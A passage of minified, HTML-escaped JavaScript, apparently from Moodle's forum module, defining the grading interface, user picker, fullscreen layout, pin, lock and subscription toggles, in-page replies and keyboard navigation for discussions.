updateUserContent(user)).hasgrade,index:userIds.indexOf(user.id)+1,total:userList.length};_templates.default.render(templateNames_grader.status,renderContext).then((html=&gt;(statusContainer.innerHTML=html,html))).catch()}),saveGradeFunction,{initialUserId:initialUserId});registerEventListeners(graderLayout,userPicker,saveGradeFunction,userList),displayUserPicker(graderContainer,userPicker.rootNode)};_exports.view=async function(getGradeForUser,userid,moduleName){let{focusOnClose:focusOnClose=null}=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:{};const[userGrade,modal]=await Promise.all([getGradeForUser(userid),Modal.create({title:moduleName,large:!0,type:Modal.types.CANCEL})]),spinner=(0,_loadingicon.addIconToContainerWithPromise)(modal.getRoot());modal.getRoot().on(ModalEvents.hidden,(function(){if(modal.destroy(),focusOnClose)try{focusOnClose.focus()}catch(e){}})),modal.show();const output=document.createElement(&quot;div&quot;),{html:html,js:js}=await _templates.default.renderForPromise(&quot;mod_forum/local/grades/view_grade&quot;,userGrade);_templates.default.replaceNodeContents(output,html,js);const[gradeHTML,gradeJS]=await renderGradeTemplate(userGrade),gradeReplace=output.querySelector(&#039;[data-region=&quot;grade-template&quot;]&#039;);_templates.default.replaceNodeContents(gradeReplace,gradeHTML,gradeJS),modal.setBody(output.outerHTML),spinner.resolve()};const renderGradeTemplate=async userGrade=&gt;{const{html:html,js:js}=await _templates.default.renderForPromise(userGrade.templatename,userGrade.grade);return[html,js]}}));
define(&quot;mod_forum/local/grades/local/grader/gradingpanel&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};
/**
   * Grading panel functions.
   *
   * @module     mod_forum/local/grades/local/grader/gradingpanel
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */return _exports.default=async(component,context,gradingComponent,gradingSubtype,itemName)=&gt;{let gradingMethodHandler=&quot;&quot;.concat(gradingComponent,&quot;/grades/grader/gradingpanel&quot;);gradingSubtype&amp;&amp;(gradingMethodHandler+=&quot;/&quot;.concat(gradingSubtype));const GradingMethod=await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([gradingMethodHandler],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(gradingMethodHandler)):Promise.resolve(_systemImportTransformerGlobalIdentifier[gradingMethodHandler]));return{getter:userId=&gt;GradingMethod.fetchCurrentGrade(component,context,itemName,userId),setter:(userId,notifyStudent,formData)=&gt;GradingMethod.storeCurrentGrade(component,context,itemName,userId,notifyStudent,formData)}},_exports.default}));
define(&quot;mod_forum/local/grades/local/grader/user_picker/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={regions:{currentUser:&#039;[data-region=&quot;user_picker/current_user&quot;]&#039;,userRegion:&#039;[data-region=&quot;user_picker/user&quot;]&#039;},actions:{changeUser:&#039;[data-action=&quot;change-user&quot;]&#039;}},_exports.default}));
define(&quot;mod_forum/local/grades/local/grader/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Define all of the selectors we will be using on the grading interface.
   *
   * @module     mod_forum/local/grades/local/grader/selectors
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const getDataSelector=(name,value)=&gt;&quot;[data-&quot;.concat(name,&#039;=&quot;&#039;).concat(value,&#039;&quot;]&#039;);var _default={buttons:{toggleFullscreen:getDataSelector(&quot;action&quot;,&quot;togglefullscreen&quot;),closeGrader:getDataSelector(&quot;action&quot;,&quot;closegrader&quot;),collapseGradingDrawer:getDataSelector(&quot;action&quot;,&quot;collapse-grading-drawer&quot;),saveGrade:getDataSelector(&quot;action&quot;,&quot;savegrade&quot;),selectUser:getDataSelector(&quot;action&quot;,&quot;select-user&quot;),toggleSearch:getDataSelector(&quot;action&quot;,&quot;toggle-search&quot;)},regions:{bodyContainer:getDataSelector(&quot;region&quot;,&quot;body-container&quot;),moduleContainer:getDataSelector(&quot;region&quot;,&quot;module_content_container&quot;),moduleReplace:getDataSelector(&quot;region&quot;,&quot;module_content&quot;),pickerRegion:getDataSelector(&quot;region&quot;,&quot;user_picker&quot;),gradingInfoContainer:getDataSelector(&quot;region&quot;,&quot;grading-info-container&quot;),gradingPanel:getDataSelector(&quot;region&quot;,&quot;grade&quot;),gradingPanelContainer:getDataSelector(&quot;region&quot;,&quot;grading-panel-container&quot;),gradingPanelErrors:getDataSelector(&quot;region&quot;,&quot;grade-errors&quot;),searchResultsContainer:getDataSelector(&quot;region&quot;,&quot;search-results-container&quot;),statusContainer:getDataSelector(&quot;region&quot;,&quot;status-container&quot;),userSearchContainer:getDataSelector(&quot;region&quot;,&quot;user-search-container&quot;),userSearchInput:getDataSelector(&quot;region&quot;,&quot;user-search-input&quot;)},values:{sendStudentNotifications:&#039;[data-region=&quot;notification&quot;] input[type=&quot;radio&quot;]:checked&#039;}};return _exports.default=_default,_exports.default}));
define(&quot;mod_forum/local/grades/local/grader/user_picker&quot;,[&quot;exports&quot;,&quot;core/templates&quot;,&quot;./user_picker/selectors&quot;,&quot;core/str&quot;],(function(_exports,_templates,_selectors,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * This module will tie together all of the different calls the gradable module will make.
   *
   * @module     mod_forum/local/grades/local/grader/user_picker
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_templates=_interopRequireDefault(_templates),_selectors=_interopRequireDefault(_selectors);class UserPicker{constructor(userList,showUserCallback,preChangeUserCallback){this.userList=userList,this.showUserCallback=showUserCallback,this.preChangeUserCallback=preChangeUserCallback,this.currentUserIndex=0,this.render=this.render.bind(this),this.setUserId=this.setUserId.bind(this)}setUserId(userId){const userIndex=this.userList.findIndex((user=&gt;user.id===parseInt(userId)));if(-1===userIndex)throw Error(&quot;User with id &quot;.concat(userId,&quot; not found&quot;));this.currentUserIndex=userIndex}async render(){this.root=document.createElement(&quot;div&quot;);const{html:html,js:js}=await this.renderNavigator();_templates.default.replaceNodeContents(this.root,html,js),await this.showUser(this.currentUser),this.registerEventListeners()}renderNavigator(){return _templates.default.renderForPromise(&quot;&quot;.concat(&quot;mod_forum/local/grades/local/grader&quot;,&quot;/user_picker&quot;),{})}renderUserChange(context){return _templates.default.renderForPromise(&quot;&quot;.concat(&quot;mod_forum/local/grades/local/grader&quot;,&quot;/user_picker/user&quot;),context)}async showUser(user){const[{html:html,js:js}]=await Promise.all([this.renderUserChange(user),this.showUserCallback(user)]),userRegion=this.root.querySelector(_selectors.default.regions.userRegion);_templates.default.replaceNodeContents(userRegion,html,js);this.root.querySelector(_selectors.default.regions.currentUser).textContent=await(0,_str.get_string)(&quot;nowgradinguser&quot;,&quot;mod_forum&quot;,user.fullname)}registerEventListeners(){this.root.addEventListener(&quot;click&quot;,(async e=&gt;{const button=e.target.closest(_selectors.default.actions.changeUser);if(button){(await this.preChangeUserCallback(this.currentUser)).failed||(this.updateIndex(parseInt(button.dataset.direction)),await this.showUser(this.currentUser))}}))}updateIndex(direction){return this.currentUserIndex+=direction,this.currentUserIndex&lt;0?this.currentUserIndex=this.userList.length-1:this.currentUserIndex&gt;this.userList.length-1&amp;&amp;(this.currentUserIndex=0),this.currentUserIndex}get currentUser(){return{...this.userList[this.currentUserIndex],total:this.userList.length,displayIndex:this.currentUserIndex+1}}get rootNode(){return this.root}}return _exports.default=async function(users,showUserCallback,preChangeUserCallback){let{initialUserId:initialUserId=null}=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:{};const userPicker=new UserPicker(users,showUserCallback,preChangeUserCallback);return initialUserId&amp;&amp;userPicker.setUserId(initialUserId),await userPicker.render(),userPicker},_exports.default}));
define(&quot;mod_forum/local/layout/fullscreen&quot;,[&quot;exports&quot;,&quot;core/loadingicon&quot;,&quot;core/toast&quot;,&quot;core/local/aria/focuslock&quot;],(function(_exports,_loadingicon,_toast,FocusLockManager){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.createLayout=void 0,FocusLockManager=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * Full screen window layout.
   *
   * @module mod_forum/local/layout/fullscreen
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(FocusLockManager);_exports.createLayout=function(){let{fullscreen:fullscreen=!0,showLoader:showLoader=!1,focusOnClose:focusOnClose=null}=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};const container=document.createElement(&quot;div&quot;);document.body.append(container),container.classList.add(&quot;layout&quot;),container.classList.add(&quot;fullscreen&quot;),container.setAttribute(&quot;role&quot;,&quot;application&quot;),(0,_toast.addToastRegion)(container),lockBodyScroll(),FocusLockManager.trapFocus(container);const helpers=getLayoutHelpers(container,FocusLockManager,focusOnClose);return showLoader&amp;&amp;helpers.showLoadingIcon(),fullscreen&amp;&amp;helpers.requestFullscreen(),helpers};const getLayoutHelpers=(layoutNode,FocusLockManager,focusOnClose)=&gt;{const contentNode=document.createElement(&quot;div&quot;);layoutNode.append(contentNode);const loadingNode=document.createElement(&quot;div&quot;);layoutNode.append(loadingNode);const requestFullscreen=()=&gt;{layoutNode.requestFullscreen?layoutNode.requestFullscreen():layoutNode.msRequestFullscreen?layoutNode.msRequestFullscreen():layoutNode.mozRequestFullscreen?layoutNode.mozRequestFullscreen():layoutNode.webkitRequestFullscreen?layoutNode.webkitRequestFullscreen():layoutNode.setTop(0)},exitFullscreen=()=&gt;{if(document.exitRequestFullScreen){if(document.fullScreenElement!==layoutNode)return;document.exitRequestFullScreen()}else if(document.msExitFullscreen){if(document.msFullscreenElement!==layoutNode)return;document.msExitFullscreen()}else if(document.mozCancelFullScreen){if(document.mozFullScreenElement!==layoutNode)return;document.mozCancelFullScreen()}else if(document.webkitExitFullscreen){if(document.webkitFullscreenElement!==layoutNode)return;document.webkitExitFullscreen()}},hideLoadingIcon=()=&gt;{let child=loadingNode.lastElementChild;for(;child;)loadingNode.removeChild(child),child=loadingNode.lastElementChild};return{close:()=&gt;{if(exitFullscreen(),unlockBodyScroll(),FocusLockManager.untrapFocus(),layoutNode.remove(),focusOnClose)try{focusOnClose.focus()}catch(e){}},toggleFullscreen:()=&gt;{document.exitRequestFullScreen?document.fullScreenElement===layoutNode?exitFullscreen():requestFullscreen():document.msExitFullscreen?document.msFullscreenElement===layoutNode?exitFullscreen():requestFullscreen():document.mozCancelFullScreen?document.mozFullScreenElement===layoutNode?exitFullscreen():requestFullscreen():document.webkitExitFullscreen&amp;&amp;(document.webkitFullscreenElement===layoutNode?exitFullscreen():requestFullscreen())},requestFullscreen:requestFullscreen,exitFullscreen:exitFullscreen,getContainer:()=&gt;contentNode,setContent:content=&gt;{hideLoadingIcon();let child=contentNode.lastElementChild;for(;child;)contentNode.removeChild(child),child=contentNode.lastElementChild;contentNode.append(content)},showLoadingIcon:()=&gt;{(0,_loadingicon.addIconToContainer)(loadingNode)},hideLoadingIcon:hideLoadingIcon}},lockBodyScroll=()=&gt;{document.querySelector(&quot;body&quot;).classList.add(&quot;overflow-hidden&quot;)},unlockBodyScroll=()=&gt;{document.querySelector(&quot;body&quot;).classList.remove(&quot;overflow-hidden&quot;)}}));
/**
 * Common CSS selectors for the forum UI.
 *
 * @module     mod_forum/selectors
 * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/selectors&quot;,[],(function(){return{subscription:{toggle:&quot;[data-type=&#039;subscription-toggle&#039;][data-action=&#039;toggle&#039;]&quot;},summary:{actions:&quot;[data-container=&#039;discussion-summary-actions&#039;]&quot;},post:{post:&#039;[data-region=&quot;post&quot;]&#039;,action:&#039;[data-region=&quot;post-action&quot;]&#039;,actionsContainer:&#039;[data-region=&quot;post-actions-container&quot;]&#039;,authorName:&#039;[data-region=&quot;author-name&quot;]&#039;,forumCoreContent:&quot;[data-region-content=&#039;forum-post-core&#039;]&quot;,forumContent:&quot;[data-content=&#039;forum-post&#039;]&quot;,forumSubject:&quot;[data-region-content=&#039;forum-post-core-subject&#039;]&quot;,inpageReplyButton:&quot;button&quot;,inpageReplyLink:&quot;[data-action=&#039;collapsible-link&#039;]&quot;,inpageReplyCancelButton:&quot;[data-action=&#039;cancel-inpage-reply&#039;]&quot;,inpageReplyCreateButton:&quot;[data-action=&#039;create-inpage-reply&#039;]&quot;,inpageReplyContainer:&#039;[data-region=&quot;inpage-reply-container&quot;]&#039;,inpageReplyContent:&quot;[data-content=&#039;inpage-reply-content&#039;]&quot;,inpageReplyForm:&quot;form[data-content=&#039;inpage-reply-form&#039;]&quot;,inpageSubmitBtn:&quot;[data-action=&#039;forum-inpage-submit&#039;]&quot;,inpageSubmitBtnText:&quot;[data-region=&#039;submit-text&#039;]&quot;,loadingIconContainer:&quot;[data-region=&#039;loading-icon-container&#039;]&quot;,repliesContainer:&quot;[data-region=&#039;replies-container&#039;]&quot;,replyCount:&#039;[data-region=&quot;reply-count&quot;]&#039;,modeSelect:&quot;select[name=&#039;mode&#039;]&quot;,showReplies:&#039;[data-action=&quot;show-replies&quot;]&#039;,hideReplies:&#039;[data-action=&quot;hide-replies&quot;]&#039;,repliesVisibilityToggleContainer:&#039;[data-region=&quot;replies-visibility-toggle-container&quot;]&#039;},lock:{toggle:&quot;[data-action=&#039;toggle&#039;][data-type=&#039;lock-toggle&#039;]&quot;,icon:&quot;[data-region=&#039;locked-icon&#039;]&quot;},favourite:{toggle:&quot;[data-type=&#039;favorite-toggle&#039;][data-action=&#039;toggle&#039;]&quot;},pin:{toggle:&quot;[data-type=&#039;pin-toggle&#039;][data-action=&#039;toggle&#039;]&quot;},discussion:{tools:&#039;[data-container=&quot;discussion-tools&quot;]&#039;,item:&#039;[data-region=&quot;discussion-list-item&quot;]&#039;,lockedLabel:&quot;[data-region=&#039;locked-label&#039;]&quot;,subscribedLabel:&quot;[data-region=&#039;subscribed-label&#039;]&quot;,timedLabel:&quot;[data-region=&#039;timed-label&#039;]&quot;}}}));
/**
 * This module is the highest level module for the calendar. It is
 * responsible for initialising all of the components required for
 * the calendar to run. It also coordinates the interaction between
 * components by listening for and responding to different events
 * triggered within the calendar UI.
 *
 * @module     mod_forum/pin_toggle
 * @copyright  2018 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/pin_toggle&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;mod_forum/repository&quot;,&quot;mod_forum/selectors&quot;,&quot;core/str&quot;],(function($,Ajax,Str,Templates,Notification,Repository,Selectors,String){return{init:function(root,preventDefault,callback){root.on(&quot;click&quot;,Selectors.pin.toggle,(function(e){var toggleElement=$(this),forumid=toggleElement.data(&quot;forumid&quot;),discussionid=toggleElement.data(&quot;discussionid&quot;),pinstate=toggleElement.data(&quot;targetstate&quot;);Repository.setPinDiscussionState(forumid,discussionid,pinstate).then((function(context){return callback(toggleElement,context)})).then((function(){return String.get_string(&quot;pinupdated&quot;,&quot;forum&quot;).done((function(s){return Notification.addNotification({message:s,type:&quot;info&quot;})}))})).fail(Notification.exception),preventDefault&amp;&amp;e.preventDefault()}))}}}));
/**
 * This module handles the in page replying to forum posts.
 *
 * @module     mod_forum/inpage_reply
 * @copyright  2019 Peter Dias
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/inpage_reply&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;mod_forum/repository&quot;,&quot;mod_forum/selectors&quot;,&quot;core_form/changechecker&quot;],(function($,Templates,Notification,Repository,Selectors,FormChangeChecker){var DISPLAYCONSTANTS_NESTED_V2=4,DISPLAYCONSTANTS_THREADED=2,DISPLAYCONSTANTS_NESTED=3,DISPLAYCONSTANTS_FLAT_NEWEST_FIRST=-1,EVENTS={POST_CREATED:&quot;mod_forum-post-created&quot;},CONTENT_FORMATS={MOODLE:0},hideSubmitButtonLoadingIcon=function(button){var textContainer=button.find(Selectors.post.inpageSubmitBtnText),loadingIconContainer=button.find(Selectors.post.loadingIconContainer);button.css(&quot;width&quot;,&quot;&quot;),textContainer.removeClass(&quot;hidden&quot;),loadingIconContainer.addClass(&quot;hidden&quot;)},registerEventListeners=function(root){root.on(&quot;click&quot;,Selectors.post.inpageSubmitBtn,(function(e){e.preventDefault();var newid,button,textContainer,loadingIconContainer,width,submitButton=$(e.currentTarget),allButtons=submitButton.parent().find(Selectors.post.inpageReplyButton),form=submitButton.parents(Selectors.post.inpageReplyForm).get(0),message=form.elements.post.value.trim(),messageformat=CONTENT_FORMATS.MOODLE,postid=form.elements.reply.value,subject=form.elements.subject.value,currentRoot=submitButton.closest(Selectors.post.post),isprivatereply=null!=form.elements.privatereply&amp;&amp;form.elements.privatereply.checked,modeSelector=root.find(Selectors.post.modeSelect),mode=modeSelector.length?parseInt(modeSelector.get(0).value):null;message.length&amp;&amp;(textContainer=(button=submitButton).find(Selectors.post.inpageSubmitBtnText),loadingIconContainer=button.find(Selectors.post.loadingIconContainer),width=button.outerWidth(),button.css(&quot;width&quot;,width),textContainer.addClass(&quot;hidden&quot;),loadingIconContainer.removeClass(&quot;hidden&quot;),allButtons.prop(&quot;disabled&quot;,!0),Repository.addDiscussionPost(postid,subject,message,messageformat,isprivatereply,!0).then((function(context){var message=context.messages.reduce((function(carry,message){return&quot;success&quot;==message.type&amp;&amp;(carry+=&quot;&lt;p&gt;&quot;+message.message+&quot;&lt;/p&gt;&quot;),carry}),&quot;&quot;);return Notification.addNotification({message:message,type:&quot;success&quot;}),context})).then((function(context){form.reset();var post=context.post;switch(newid=post.id,mode){case DISPLAYCONSTANTS_NESTED_V2:var capabilities=post.capabilities,currentAuthorName=currentRoot.children().not(Selectors.post.repliesContainer).find(Selectors.post.authorName).text();return post.parentauthorname=currentAuthorName,post.showactionmenu=capabilities.view||capabilities.controlreadstatus||capabilities.edit||capabilities.split||capabilities.delete||capabilities.export||post.urls.viewparent,Templates.render(&quot;mod_forum/forum_discussion_nested_v2_post_reply&quot;,post);case DISPLAYCONSTANTS_THREADED:return Templates.render(&quot;mod_forum/forum_discussion_threaded_post&quot;,post);case DISPLAYCONSTANTS_NESTED:return Templates.render(&quot;mod_forum/forum_discussion_nested_post&quot;,post);default:return Templates.render(&quot;mod_forum/forum_discussion_post&quot;,post)}})).then((function(html,js){var repliesnode=currentRoot.find(Selectors.post.repliesContainer).first();return mode==DISPLAYCONSTANTS_FLAT_NEWEST_FIRST?Templates.prependNodeContents(repliesnode,html,js):Templates.appendNodeContents(repliesnode,html,js)})).then((function(){return submitButton.trigger(EVENTS.POST_CREATED,newid),hideSubmitButtonLoadingIcon(submitButton),allButtons.prop(&quot;disabled&quot;,!1),FormChangeChecker.resetFormDirtyState(submitButton[0]),currentRoot.find(Selectors.post.inpageReplyContent).hide()})).then((function(){location.href=&quot;#p&quot;+newid,location.reload()})).catch((function(error){return hideSubmitButtonLoadingIcon(submitButton),allButtons.prop(&quot;disabled&quot;,!1),Notification.exception(error)})))}))};return{init:function(root){registerEventListeners(root)},CONTENT_FORMATS:CONTENT_FORMATS,EVENTS:EVENTS}}));
/**
 * Handle the manual locking of individual discussions
 *
 * @module     mod_forum/lock_toggle
 * @copyright  2019 Peter Dias &lt;peter@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/lock_toggle&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;mod_forum/repository&quot;,&quot;mod_forum/selectors&quot;],(function($,Templates,Notification,Repository,Selectors){return{init:function(root,preventDefault){root.on(&quot;click&quot;,Selectors.lock.toggle,(function(e){var toggleElement=$(this),forumId=toggleElement.data(&quot;forumid&quot;),discussionId=toggleElement.data(&quot;discussionid&quot;),state=toggleElement.data(&quot;state&quot;);Repository.setDiscussionLockState(forumId,discussionId,state).then((function(){return location.reload()})).catch(Notification.exception),preventDefault&amp;&amp;e.preventDefault()}))}}}));
/**
 * This module is the highest level module for the calendar. It is
 * responsible for initialising all of the components required for
 * the calendar to run. It also coordinates the interaction between
 * components by listening for and responding to different events
 * triggered within the calendar UI.
 *
 * @module     mod_forum/posts_list
 * @copyright  2019 Peter Dias
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/posts_list&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;mod_forum/selectors&quot;,&quot;mod_forum/inpage_reply&quot;,&quot;core_form/changechecker&quot;],(function($,Templates,Notification,Pending,Selectors,InPageReply,FormChangeChecker){return{init:function(root,throttlingwarningmsg){!function(root,throttlingwarningmsg){root.on(&quot;click&quot;,Selectors.post.inpageReplyLink,(function(e){if(e.preventDefault(),window.location.hash){var url=window.location.href.split(&quot;#&quot;)[0];history.pushState({},document.title,url)}var pending=new Pending(&quot;inpage-reply&quot;),currentTarget=$(e.currentTarget).parents(Selectors.post.forumCoreContent),currentSubject=currentTarget.find(Selectors.post.forumSubject),currentRoot=$(e.currentTarget).parents(Selectors.post.forumContent),context={postid:$(currentRoot).data(&quot;post-id&quot;),reply_url:$(e.currentTarget).attr(&quot;href&quot;),sesskey:M.cfg.sesskey,parentsubject:currentSubject.data(&quot;replySubject&quot;),canreplyprivately:$(e.currentTarget).data(&quot;can-reply-privately&quot;),postformat:InPageReply.CONTENT_FORMATS.MOODLE,throttlingwarningmsg:throttlingwarningmsg};if(currentRoot.find(Selectors.post.inpageReplyContent).length){var form=currentRoot.find(Selectors.post.inpageReplyContent);form.slideToggle(300,pending.resolve),form.is(&quot;:visible&quot;)&amp;&amp;form.find(&quot;textarea&quot;).focus()}else Templates.render(&quot;mod_forum/inpage_reply&quot;,context).then((function(html,js){return Templates.appendNodeContents(currentTarget,html,js)})).then((function(){return currentRoot.find(Selectors.post.inpageReplyContent).slideToggle(300,pending.resolve).find(&quot;textarea&quot;).focus()})).then((function(){FormChangeChecker.watchFormById(&quot;inpage-reply-&quot;.concat(context.postid))})).catch(Notification.exception)}))}(root,throttlingwarningmsg),InPageReply.init(root)}}}));
/**
 * Handle discussion subscription toggling on a discussion list in
 * the forum view.
 *
 * @module     mod_forum/subscription_toggle
 * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/subscription_toggle&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;mod_forum/repository&quot;,&quot;mod_forum/selectors&quot;,&quot;core/pubsub&quot;,&quot;mod_forum/forum_events&quot;],(function($,Templates,Notification,Repository,Selectors,PubSub,ForumEvents){return{init:function(root,preventDefault,callback){root.on(&quot;click&quot;,Selectors.subscription.toggle,(function(e){var toggleElement=$(this),forumId=toggleElement.data(&quot;forumid&quot;),discussionId=toggleElement.data(&quot;discussionid&quot;),subscriptionState=toggleElement.data(&quot;targetstate&quot;);Repository.setDiscussionSubscriptionState(forumId,discussionId,subscriptionState).then((function(context){return PubSub.publish(ForumEvents.SUBSCRIPTION_TOGGLED,{discussionId:discussionId,subscriptionState:subscriptionState}),callback(toggleElement,context)})).catch(Notification.exception),preventDefault&amp;&amp;e.preventDefault()}))}}}));
/**
 * Events for the forum activity.
 *
 * @module     mod_forum/forum_events
 * @copyright  2019 Jun Pataleta &lt;jun@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/forum_events&quot;,[],(function(){return{SUBSCRIPTION_TOGGLED:&quot;mod_forum/subscription_toggle:subscriptionToggled&quot;}}));
/**
 * Module for viewing a discussion.
 *
 * @module     mod_forum/discussion_list
 * @copyright  2019 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/discussion&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;mod_forum/selectors&quot;,&quot;core/pubsub&quot;,&quot;mod_forum/forum_events&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,CustomEvents,Selectors,PubSub,ForumEvents,String,Notification){var isElementInInPageReplySection=function(element){return!!$(element).closest(Selectors.post.inpageReplyContent).length},initAccessibilityKeyboardNav=function(root){root.find(Selectors.post.post).each((function(index,post){var actions=$(post).find(Selectors.post.action),firstAction=actions.first();actions.attr(&quot;tabindex&quot;,&quot;-1&quot;),firstAction.attr(&quot;tabindex&quot;,0)})),CustomEvents.define(root,[CustomEvents.events.up,CustomEvents.events.down,CustomEvents.events.next,CustomEvents.events.previous,CustomEvents.events.home,CustomEvents.events.end]),root.on(CustomEvents.events.up,(function(e,data){var activeElement=document.activeElement;if(!isElementInInPageReplySection(activeElement)){var focusPost=$(activeElement).closest(Selectors.post.post);focusPost.length?function(currentPost){var prevPost=currentPost.prev(Selectors.post.post);if(prevPost.length){var replyPost=prevPost.find(Selectors.post.post).last();replyPost.length?replyPost.focus():prevPost.focus()}else currentPost.parents(Selectors.post.post).first().focus()}(focusPost):root.find(Selectors.post.post).first().focus(),data.originalEvent.preventDefault()}})),root.on(CustomEvents.events.down,(function(e,data){var activeElement=document.activeElement;if(!isElementInInPageReplySection(activeElement)){var focusPost=$(activeElement).closest(Selectors.post.post);focusPost.length?function(currentPost){var replyPost=currentPost.find(Selectors.post.post).first();if(replyPost.length)replyPost.focus();else{var siblingPost=currentPost.next(Selectors.post.post);if(siblingPost.length)siblingPost.focus();else for(var parentPosts=currentPost.parents(Selectors.post.post).toArray(),i=0;i&lt;parentPosts.length;i++){var ancestorSiblingPost=$(parentPosts[i]).next(Selectors.post.post);if(ancestorSiblingPost.length){ancestorSiblingPost.focus();break}}}}(focusPost):root.find(Selectors.post.post).first().focus(),data.originalEvent.preventDefault()}})),root.on(CustomEvents.events.home,(function(e,data){isElementInInPageReplySection(document.activeElement)||(root.find(Selectors.post.post).first().focus(),data.originalEvent.preventDefault())})),root.on(CustomEvents.events.end,(function(e,data){isElementInInPageReplySection(document.activeElement)||(root.find(Selectors.post.post).last().focus(),data.originalEvent.preventDefault())})),root.on(CustomEvents.events.next,Selectors.post.action,(function(e,data){var currentAction=$(e.target),actions=currentAction.closest(Selectors.post.actionsContainer).find(Selectors.post.action),nextAction=currentAction.next(Selectors.post.action);actions.attr(&quot;tabindex&quot;,&quot;-1&quot;),nextAction.length||(nextAction=actions.first()),nextAction.attr(&quot;tabindex&quot;,0),nextAction.focus(),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.previous,Selectors.post.action,(function(e,data){var currentAction=$(e.target),actions=currentAction.closest(Selectors.post.actionsContainer).find(Selectors.post.action),nextAction=currentAction.prev(Selectors.post.action);actions.attr(&quot;tabindex&quot;,&quot;-1&quot;),nextAction.length||(nextAction=actions.last()),nextAction.attr(&quot;tabindex&quot;,0),nextAction.focus(),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.home,Selectors.post.action,(function(e,data){var actions=$(e.target).closest(Selectors.post.actionsContainer).find(Selectors.post.action),firstAction=actions.first();actions.attr(&quot;tabindex&quot;,&quot;-1&quot;),firstAction.attr(&quot;tabindex&quot;,0),firstAction.focus(),e.stopPropagation(),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.end,Selectors.post.action,(function(e,data){var 